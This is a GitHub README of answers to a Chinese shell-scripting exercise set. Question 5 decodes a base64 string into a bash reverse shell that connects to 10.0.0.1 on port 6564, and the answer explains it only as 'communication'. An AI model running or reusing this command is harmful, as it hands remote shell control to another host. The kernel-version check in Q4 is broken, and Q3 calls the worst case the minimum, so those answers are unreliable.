Skip to content

jing11223344/answer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

第一题答案: [ $(id -u) -eq 0 ] && echo "hi, root" || echo $USER

第二题答案: 代码如下: #!/bin/bash

生成随机数字(1-20之间)

random_number=$((RANDOM % 20 + 1))

游戏循环5次

for ((i=1; i<=5; i++)) do read -p "请输入你的猜测值(1-20之间): " guess

# 检查猜测值
if [[ $guess -gt $random_number ]]; then
    echo "猜大了"
elif [[ $guess -lt $random_number ]]; then
    echo "猜小了"
else
    echo "猜中啦"
    exit 0
fi

done

猜测五次未猜中

echo "游戏结束,正确答案是:$random_number" exit 0

第三题答案: 如果随机猜数字范围是 0-1000,那么一共有1001个数字可供猜测。为了最快地猜中正确答案,我们可以采用二分查找的思路,每次猜测中间值,根据猜测结果不断缩小搜索范围。具体过程如下: 1、第一次猜测中间值 500。 2、如果猜测值等于正确答案,只需要猜一次就猜中了。 3、如果猜测值小于正确答案,那么下一次猜测范围可以缩小到 501-1000,因为小于 500 的数字已经被排除了。 4、如果猜测值大于正确答案,那么下一次猜测范围可以缩小到 0-499,因为大于 500 的数字已经被排除了。 5、然后我们重复步骤 1-4,每次猜测中间值,根据猜测结果不断缩小搜索范围,直到猜中正确答案为止。 6、由于每次猜测可以排除一半的数字,因此至少需要 log2(1001) ≈ 10 次猜测才能猜中正确答案。因此,最少需要猜 10 次才能猜中 0-1000 范围内的随机数字。

第四题答案: [[ $(echo "$(uname -r | cut -d'.' -f1) > 5.4" | bc -l) -eq 1 ]] && echo "yes" || echo "no"

第五题答案: (a)答案: 代码如下: [root@tool_server ~]# cat jiema.py

-- coding: utf-8 --

import base64

encoded_string = "MDwmMTk2O2V4ZWMgMTk2PD4vZGV2L3RjcC8xMC4wLjAuMS82NTY0OyBiYXNoIDwmMTk2ID4mMTk2IDI+JjE5Ng==" decoded_string = base64.b64decode(encoded_string).decode("utf-8")

print(decoded_string)

[root@tool_server ~]# python jiema.py 0<&196;exec 196<>/dev/tcp/10.0.0.1/6564; bash <&196 >&196 2>&196

(b) 答案: 解码后命令代表的意思是:解码后的字符串表示一个bash命令。该命令的功能是建立与IP地址为10.0.0.1,端口为6564的主机之间的TCP连接,并将连接的输入、输出和错误流重定向到该连接。这可以用于与远程主机进行通信、执行命令或传输数据。

About

answer

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors